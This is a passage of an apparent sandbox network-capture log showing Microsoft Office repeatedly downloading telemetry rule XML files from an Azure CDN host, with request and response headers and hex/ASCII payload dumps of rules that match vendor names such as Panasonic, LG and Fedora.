20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.4	62345	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:06 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:06 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:06 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 1a876f58-701e-0032-1608-2ca540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124306Z-16ccfc49897b872mhC1DFWqtb000000000kg000000008590 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:06 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.4	62346	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:06 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:06 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:06 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 74985455-e01e-00aa-1aa3-2aceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124306Z-159b85dff8fj5szfhC1DFW6b2g00000001kg000000000d7e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:06 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.4	62348	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:06 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:06 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:06 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: f60b378e-801e-0078-1b44-2cbac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124306Z-16dc884887bvg6x5hC1DFW86ag00000000g0000000006y53 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-01 12:43:06 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.4	62347	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:06 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:06 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:06 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 80f47f15-d01e-0049-6b08-2ce7dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124306Z-16ccfc498972mdvzhC1DFWzrms00000000pg000000000myx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:06 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.4	62349	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:06 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:06 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:06 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 8494348c-501e-000a-1008-2c0180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124306Z-16ccfc49897hshbrhC1DFW7g1c00000000mg00000000856c x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:06 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.4	62351	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:06 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:07 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:06 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 7c52a88a-f01e-00aa-0993-2a8521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124306Z-159b85dff8fdjprfhC1DFWuqh000000001vg000000009097 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:07 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.4	62350	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:06 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:07 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:06 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: dbe51632-e01e-000c-1608-2c8e36000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124306Z-16dc884887bmq8qvhC1DFWy4wg00000000hg0000000070h0 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:07 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.4	62352	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:06 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:07 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:07 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 31f1d278-901e-0083-7b79-2bbb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124307Z-159b85dff8fj5szfhC1DFW6b2g00000001cg000000009c9d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:07 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.4	62353	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:07 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:07 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:07 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 23dfde6d-e01e-0052-6a0f-2cd9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124307Z-176bd8f9bc55csg5hC1DFW6yfn00000000q000000000atvb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:07 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.4	62354	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:07 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:07 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:07 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 445643c3-401e-0078-193e-2c4d34000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124307Z-16ccfc498972c2r2hC1DFWxq6800000000pg000000000n44 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:07 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.4	62355	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:07 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:07 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:07 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 069b3e38-001e-0028-2008-2cc49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124307Z-16ccfc49897bnsqjhC1DFWhxb800000000gg00000000exp3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:07 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.4	62356	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:07 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:07 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:07 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 9f4f074d-601e-00ab-77c7-2a66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124307Z-159b85dff8f7x84jhC1DFWaghs00000002v000000000a5u4 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
